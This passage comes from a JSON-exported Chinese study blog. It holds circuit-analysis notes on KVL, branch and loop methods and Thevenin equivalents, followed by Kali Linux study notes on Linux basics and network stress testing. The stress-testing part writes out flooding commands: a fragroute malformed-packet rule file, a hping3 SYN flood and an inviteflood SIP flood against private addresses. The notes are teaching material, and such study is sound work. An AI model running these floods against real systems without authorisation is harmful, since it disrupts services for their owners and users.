alt=\"KVL独立方程\"/\u003e\u003c/p\u003e\u003cp\u003e对于有n个结点,b条支路的连通图,有且仅有(b-n+1)个独立的KVL方程。将能列出独立KVL方程的回路称为独立回路。常用的独立回路:\u003c/p\u003e\u003cul\u003e\u003cli\u003e(b-n+1)个\u003cstrong\u003e基本回路\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e平面电路的(b-n+1)个网孔\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"2b法-x2F-支路法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#2b%E6%B3%95-x2F-%E6%94%AF%E8%B7%AF%E6%B3%95\" class=\"headerlink\" title=\"2b法/支路法\"\u003e\u003c/a\u003e2b法/支路法\u003c/h2\u003e\u003cp\u003e电路分析的任务,就是求出未知的支路电压和支路电流。标题所述的,就是求解电路最基本的两种方法。手工分析时,计算较为繁琐\u003c/p\u003e\u003ch3 id=\"2b法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#2b%E6%B3%95\" class=\"headerlink\" title=\"2b法\"\u003e\u003c/a\u003e2b法\u003c/h3\u003e\u003cp\u003e以b个支路电压和b个支路电流为未知变量列写并求解方程的方法称为2b法。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-153446.png\" alt=\"图例\"/\u003e\u003c/p\u003e\u003cp\u003e下面以上图为例,说说列写步骤:\u003c/p\u003e\u003cul\u003e\u003cli\u003e在a、b、c三个结点列写出(n-1)=3个独立KCL方程;选网孔列写出(b-n+1)=3个独立KVL方程。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-153501.png\" alt=\"方程\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e根据元件的伏安关系,每条支路又能列写b=6个支路电压和电流方程。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-154221.png\" alt=\"支路方程\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e解上述2b=12个独立方程,求出支路电流和电压。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"支路法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E6%94%AF%E8%B7%AF%E6%B3%95\" class=\"headerlink\" title=\"支路法\"\u003e\u003c/a\u003e支路法\u003c/h3\u003e\u003cp\u003e以支路电流/电压为未知量列出方程,求解支路电流/电压,称为支路电流/电压法。\u003c/p\u003e\u003cp\u003e步骤如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e选定各支路电流参考方向\u003c/li\u003e\u003cli\u003e对n-1个独立结点,列出独立KCL方程\u003c/li\u003e\u003cli\u003e选定b-n+1个独立回路(基本回路或网孔),指定回路绕行方向,根据KVL和OL列出回路电压方程。列写过程中,将支路电压用支路电流来表示\u003c/li\u003e\u003cli\u003e联立求解上述b个支路电流方程,求解题述的支路电压/功率\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"例1\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E4%BE%8B1\" class=\"headerlink\" title=\"例1\"\u003e\u003c/a\u003e例1\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-155409.png\" alt=\"example-1-1\"/\u003e\u003c/p\u003e\u003cp\u003e此处是重点!!!对于无伴电流源(也就是支路上只有一个电流源)的处理方法是,在其两端设定一个电压U,然后后续的回路法计算中,忽略它的电流。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-155430.png\" alt=\"example-1-2\"/\u003e\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-155449.png\" alt=\"example-1-3\"/\u003e\u003c/p\u003e\u003ch2 id=\"回路法-x2F-网孔法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E5%9B%9E%E8%B7%AF%E6%B3%95-x2F-%E7%BD%91%E5%AD%94%E6%B3%95\" class=\"headerlink\" title=\"回路法/网孔法\"\u003e\u003c/a\u003e回路法/网孔法\u003c/h2\u003e\u003cp\u003e回路法,顾名思义,是以一组独立回路电流为变量并列出由前者表达的KVL方程的求解方法。通常选择基本回路为独立回路。这时,回路电流就是相对应的连枝电流。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221031165219.png\" alt=\"回路法\"/\u003e\u003c/p\u003e\u003cp\u003e对于上图(a),选定三个回路之后,对于节点123,根据KCL可得到各树枝电流为\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\left{\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003ei_4\u0026amp;=i_1-i_2\\\u003cbr/\u003ei_5\u0026amp;=i_1+i_3\\\u003cbr/\u003ei_6\u0026amp;=-i_2-i_3\\\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e\\right.\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e将上式和上图对照,可得到树枝电流等于流经相关各回路电流的代数和。\u003c/p\u003e\u003cp\u003e随后,对于各回路应用KVL,并将其中的支电流改用回路电流表示,从而就得到了回路法的方程组。\u003c/p\u003e\u003ch2 id=\"戴维南等效电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E6%88%B4%E7%BB%B4%E5%8D%97%E7%AD%89%E6%95%88%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"戴维南等效电路\"\u003e\u003c/a\u003e戴维南等效电路\u003c/h2\u003e\u003cp\u003e内容:一个线性含源网络N可以用\u003cstrong\u003e一个电压源和一个电阻的组合等效代替\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e其中,电压源记作$u_{oc}$,电阻记作$R_0$。\u003c/p\u003e\u003cp\u003e显然,使用该定理能够简化很多电路问题的求解。下面介绍戴维南等效电路的求法。\u003c/p\u003e\u003ch3 id=\"戴维南等效电阻的求解\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E6%88%B4%E7%BB%B4%E5%8D%97%E7%AD%89%E6%95%88%E7%94%B5%E9%98%BB%E7%9A%84%E6%B1%82%E8%A7%A3\" class=\"headerlink\" title=\"戴维南等效电阻的求解\"\u003e\u003c/a\u003e戴维南等效电阻的求解\u003c/h3\u003e\u003cp\u003e大致有四个方法。不含受控源的有一种,含有受控源的有三种。\u003c/p\u003e\u003ch4 id=\"独立源置零法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E7%8B%AC%E7%AB%8B%E6%BA%90%E7%BD%AE%E9%9B%B6%E6%B3%95\" class=\"headerlink\" title=\"独立源置零法\"\u003e\u003c/a\u003e独立源置零法\u003c/h4\u003e\u003cp\u003e将无受控源电路网N中的独立源置零,随后根据电路串并联关系和星角变换等方法求出从端口看进去的等效电阻$R_0$。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里所说的\u003cstrong\u003e独立源置零\u003c/strong\u003e指的是:电压源替换为导线,电流源替换为开路。 \u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"外加电源法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E5%A4%96%E5%8A%A0%E7%94%B5%E6%BA%90%E6%B3%95\" class=\"headerlink\" title=\"外加电源法\"\u003e\u003c/a\u003e外加电源法\u003c/h4\u003e\u003cp\u003e令N中\u003cstrong\u003e所有独立源置零\u003c/strong\u003e,保留受控源,随后外加独立源。如果外加电流源,就以电压为响应;相反则以电流为响应。最后就能计算得出:\u003cbr/\u003e$$\u003cbr/\u003eR_0=\\frac{u}{i}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e注意,\u003cstrong\u003e对于电路网N而言,u和i是关联参考方向;但是对于外加的独立源而言,u和i是非关联参考方向\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221116230306.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面的例题中,i可以是给定的,也可以是变量。\u003c/p\u003e\u003ch4 id=\"开路短路法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E5%BC%80%E8%B7%AF%E7%9F%AD%E8%B7%AF%E6%B3%95\" class=\"headerlink\" title=\"开路短路法\"\u003e\u003c/a\u003e开路短路法\u003c/h4\u003e\u003cp\u003e计算电路的开路电压$u_{oc}$,短路电流$i_{sc}$,即可根据二者和$R_0$的关系求得$R_0$。\u003c/p\u003e\u003cp\u003e总结:\u003c/p\u003e\u003col\u003e\u003cli\u003e不含受控源的戴维南等效内阻的求解:独立源置零,运用电阻的串并联来求解其等效内阻\u003c/li\u003e\u003cli\u003e含受控源的戴维南等效电阻的求解:*\u003cem\u003e外加电源法和开路短路法,以及端口的伏安关系法\u003c/em\u003e。*\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/"},{"title":"Kali Linux学习笔记","time":"2022-10-30T09:16:32Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e参考资料:Learning Kali Linux by Ric Messier(O’Reilly). Copyright 2018 Ric Messier, 978-1-492-02869-7\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eKali Linux目前是一个基于debian的发行版,它专注于安全测试相关的方方面面,并提供了一系列的专业工具供测试人员使用。这篇笔记包含以下几个方面:\u003c/p\u003e\u003cul\u003e\u003cli\u003eKali Linux 入门\u003c/li\u003e\u003cli\u003e网络安全测试基础\u003c/li\u003e\u003cli\u003e侦察\u003c/li\u003e\u003cli\u003e寻找漏洞\u003c/li\u003e\u003cli\u003e自动化漏洞利用\u003c/li\u003e\u003cli\u003eMetasploit进阶\u003c/li\u003e\u003cli\u003e无线安全测试\u003c/li\u003e\u003cli\u003eWeb应用测试\u003c/li\u003e\u003cli\u003e破解密码\u003c/li\u003e\u003cli\u003e高级技术\u003c/li\u003e\u003cli\u003e报告\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这篇笔记中,将简要记录相关资料。\u003c/p\u003e\u003ch2 id=\"0x01-Linux基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x01-Linux%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"0x01.Linux基础\"\u003e\u003c/a\u003e0x01.Linux基础\u003c/h2\u003e\u003cp\u003eLinux是一个面向多用户的操作系统内核,基于Linux内核,世界上有着众多Linux发行版,如Ubuntu,Open BSD,Debian,Deepin Linux等。Kali 是一个基于Debian的发行版,包含有很多计算机安全相关工具。下面涉及到的,是Linux的基本使用方法。有使用经验的读者可以跳过/速览此部分\u003c/p\u003e\u003ch3 id=\"0x01a-文件操作\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x01a-%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"0x01a.文件操作\"\u003e\u003c/a\u003e0x01a.文件操作\u003c/h3\u003e\u003cp\u003eLinux文件系统结构同UNIX一样,具有通用布局。系统中的磁盘都会归于\u003ccode\u003e/\u003c/code\u003e(根文件夹)目录下。在根文件夹下通常有以下几个公共目录:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e/bin\u003c/code\u003e 单用户模式下引导系统时必须可用的命令/二进制文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/boot\u003c/code\u003e 系统引导文件,包括引导加载器的配置,内核,以及启动内核所需的初始\u003ccode\u003eramdisk\u003c/code\u003e文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/dev\u003c/code\u003e 伪文件系统,包含用于程序访问硬件设备的条目\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/etc\u003c/code\u003e 与操作系统和系统服务相关的配置文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/home\u003c/code\u003e 包含用户主目录的目录\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/lib\u003c/code\u003e 包含任何程序都可用使用的共享代码和函数的库文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/opt\u003c/code\u003e 可选的第三方软件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/proc\u003c/code\u003e 伪文件系统,包含与运行进程有关的文件,包括内存映射,用于以运行程序的命令行,以及与程序相关的其他基本系统信息\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/root\u003c/code\u003e root用户的根目录\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/sbin\u003c/code\u003e 系统二进制文件,同时也需要在单用户模式下可用\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/tmp\u003c/code\u003e 存放临时文件的文件夹\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/usr\u003c/code\u003e 只读用户数据(包括\u003ccode\u003ebin\u003c/code\u003e,\u003ccode\u003edoc\u003c/code\u003e,\u003ccode\u003elib\u003c/code\u003e,\u003ccode\u003esbin\u003c/code\u003e和共享子目录)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/var\u003c/code\u003e 变量数据,包含运行进程、日志文件、运行时数据,以及其他临时文件的状态信息。在系统运行期间,这些文件的大小和存续都会发生变化\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e启动Kali,然后用你的账户登录。默认会进入图形化界面。此时你需要使用\u003ccode\u003eCtrl+Shift+T\u003c/code\u003e(或者在左上角菜单中找到终端并点击)来打开终端(Terminal)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e终端是和系统/软件交互的重要工具,即使只使用图形化工具也应当熟悉,因为大部分工具的命令行版本更加易用,有时也能看到图形界面无法查看的日志信息。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在终端中,输入程序名称以运行程序。输入部分名称并按\u003ccode\u003eTab\u003c/code\u003e可以补全指令,上下键可以查看指令历史记录。\u003c/p\u003e\u003cp\u003e可以看到,每一行的开头通常包括\u003ccode\u003eusername@hostname:[workdir]\u003c/code\u003e。其中,\u003ccode\u003eusername\u003c/code\u003e表示当前用户名,\u003ccode\u003ehostname\u003c/code\u003e表示主机名,\u003ccode\u003eworkdir\u003c/code\u003e表示当前所在的目录。\u003c/p\u003e\u003cp\u003e要查看当前目录下的文件,输入\u003ccode\u003els\u003c/code\u003e并回车。这表示使用\u003ccode\u003els\u003c/code\u003e程序查看当前目录下的文件列表。程序可以附加参数,输入\u003ccode\u003els -la\u003c/code\u003e以长列表(-l)形式显示所有(-a)文件。这条指令中的\u003ccode\u003e-la\u003c/code\u003e就是附加的参数,它也可以写成\u003ccode\u003e-l -a\u003c/code\u003e的形式。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ecd [目录路径]\u003c/code\u003e 切换到指定路径。\u003ccode\u003e.\u003c/code\u003e表示当前路径,\u003ccode\u003e..\u003c/code\u003e表示上一层路径\u003c/li\u003e\u003cli\u003e\u003ccode\u003etouch [文件路径]\u003c/code\u003e 修改文件的访问时间为此刻(和字面意思一样,“摸”一下文件),不存在则创建空文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003echmod (-R) OOO [路径]\u003c/code\u003e 修改文件/文件夹权限,三位从左到右:读r写w执行x,三位合并为8进制数,权限有三组,所有者,组,访客(所有人),对应三位8进制数。flag\u003ccode\u003e-R\u003c/code\u003e表示递归(Recursive),表示更改文件夹和其下所有子文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003elocate [文件名]\u003c/code\u003e 查找数据库获得文件位置\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewitch [文件名]\u003c/code\u003e 查找\u003ccode\u003epath\u003c/code\u003e变量中的可执行程序\u003c/li\u003e\u003cli\u003e\u003ccode\u003efind [dir] -name [filename] [-print]\u003c/code\u003e 递归查找文件,支持正则(需用双引号包围表达式)\u003c/li\u003e\u003cli\u003e\u003ccode\u003erm [-r] [路径]\u003c/code\u003e 删除文件/文件夹。删除文件夹时,需要使用\u003ccode\u003e-r\u003c/code\u003e参数。\u003cstrong\u003e删除前务必确认删除对象是否正确!!!\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"0x01b-其他常用指令\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x01b-%E5%85%B6%E4%BB%96%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"0x01b.其他常用指令\"\u003e\u003c/a\u003e0x01b.其他常用指令\u003c/h3\u003e\u003cp\u003e终端还有其他实用工具,它们涵盖进程管理、权限管理、用户管理、网络工具等相当全面的工具。以下列举几个:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ecat [文件路径]\u003c/code\u003e 输出文件内容到终端\u003c/li\u003e\u003cli\u003e\u003ccode\u003eps\u003c/code\u003e 获取进程列表\u003c/li\u003e\u003cli\u003e\u003ccode\u003eman\u003c/code\u003e 获取帮助手册\u003c/li\u003e\u003cli\u003e\u003ccode\u003etop\u003c/code\u003e 获取进程列表,使用\u003ccode\u003eq\u003c/code\u003e或\u003ccode\u003eCtrl+C\u003c/code\u003e退出\u003c/li\u003e\u003cli\u003e\u003ccode\u003ekill -9 [pid]\u003c/code\u003e 终止进程\u003c/li\u003e\u003cli\u003e\u003ccode\u003ekillall [pid/进程名]\u003c/code\u003e 终止进程\u003c/li\u003e\u003cli\u003e\u003ccode\u003eadduser/useradd\u003c/code\u003e 创建用户\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e终端的更多用法有大量其他专业资料,此处不再赘述。\u003c/p\u003e\u003ch2 id=\"0x02-网络安全测试基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x02-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"0x02.网络安全测试基础\"\u003e\u003c/a\u003e0x02.网络安全测试基础\u003c/h2\u003e\u003ch3 id=\"0x021-安全测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x021-%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x021.安全测试\"\u003e\u003c/a\u003e0x021.安全测试\u003c/h3\u003e\u003cp\u003e在提到安全测试之前,需要知道安全性的定义。这通常包含三个基本要素:\u003cstrong\u003e机密性、完整性和可用性\u003c/strong\u003e。任何影响系统/软件这些方面之一的内容都会影响软件或系统的安全性。安全测试并不局限于渗透测试提供的观察视角。\u003c/p\u003e\u003ch3 id=\"0x022-网络安全测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x022-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x022.网络安全测试\"\u003e\u003c/a\u003e0x022.网络安全测试\u003c/h3\u003e\u003cul\u003e\u003cli\u003e监控的重要性 保证服务和硬件正常运行 可以用nagios监控进程和硬件使用率\u003c/li\u003e\u003cli\u003e报告有助于重现问题\u003c/li\u003e\u003cli\u003e可以用nc/telnet手动测试服务端口\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"0x0211-压力测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x0211-%E5%8E%8B%E5%8A%9B%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x0211.压力测试\"\u003e\u003c/a\u003e0x0211.压力测试\u003c/h4\u003e\u003cp\u003e一些软件/硬件难以处理大负载的流量。引起这的原因多样,因此,必须预先测试系统以保证负责的系统不会在发生不良事件时瘫痪。下面有几种相关工具:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003efragroute\u003c/strong\u003e 用于破坏和操作来自自己系统的数据包,并将其发往指定IP。下面是一组配置,用于模拟错误的数据包:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eip_chaff dup 7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eip_frag 64 new\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edrop random 33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edup random 40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eorder random\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上述配置文件中,第一行声明IP数据包应当重复交错。7表示生存事时间字段的值为7跳。这会使得数据包在传输的过程中丢失。第二行表示以64字节为单位对IP数据包进行分段。new表示让fragroutes使用新数据而不是旧数据对数据包进行重叠。有33%的情况将会丢弃数据包,有40%的情况会随机复制数据包。fragroute也会随机化数据包命中线缆的顺序,这意味着在理想情况下,它到达端点时,正确序列中将不存在任何内容。最后,print表示相关细节会被打印出来,说明对收到的数据包执行的操作。\u003c/p\u003e\u003cp\u003e将上述文件另存为\u003ccode\u003efrag.rules\u003c/code\u003e中,在终端中切换到该文件所在路径,并键入\u003ccode\u003efragroute -f frag.rules 192.168.5.40\u003c/code\u003e,回车,即可开始测试目标是否能正确处理错误的数据包。\u003c/p\u003e\u003cp\u003e上述指令中,\u003ccode\u003efrag.rules\u003c/code\u003e是配置文件名,\u003ccode\u003e192.168.5.40\u003c/code\u003e是发送乱码流量的目标地址。可以根据实际情况更改参数。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003ehping3\u003c/strong\u003e 是一个压力测试工具,用于测试系统处理网络堆栈,硬件,传输层的能力。系统会为TCP连接保留一小块内存,一般很难发生溢出。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehping3 --flood -S -p 80 192.168.86.1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上述指令演示了利用\u003ccode\u003ehping3\u003c/code\u003e进行SYN洪水测试的方法。\u003ccode\u003e-S\u003c/code\u003e表示SYN消息,\u003ccode\u003e-p 80\u003c/code\u003e表示80端口,\u003ccode\u003e--flood\u003c/code\u003e表示泛洪模式。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003einviteflood\u003c/strong\u003e 用于发动SIP洪水攻击。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einviteflood eth0 kilroy dummy.com 192.168.86.238 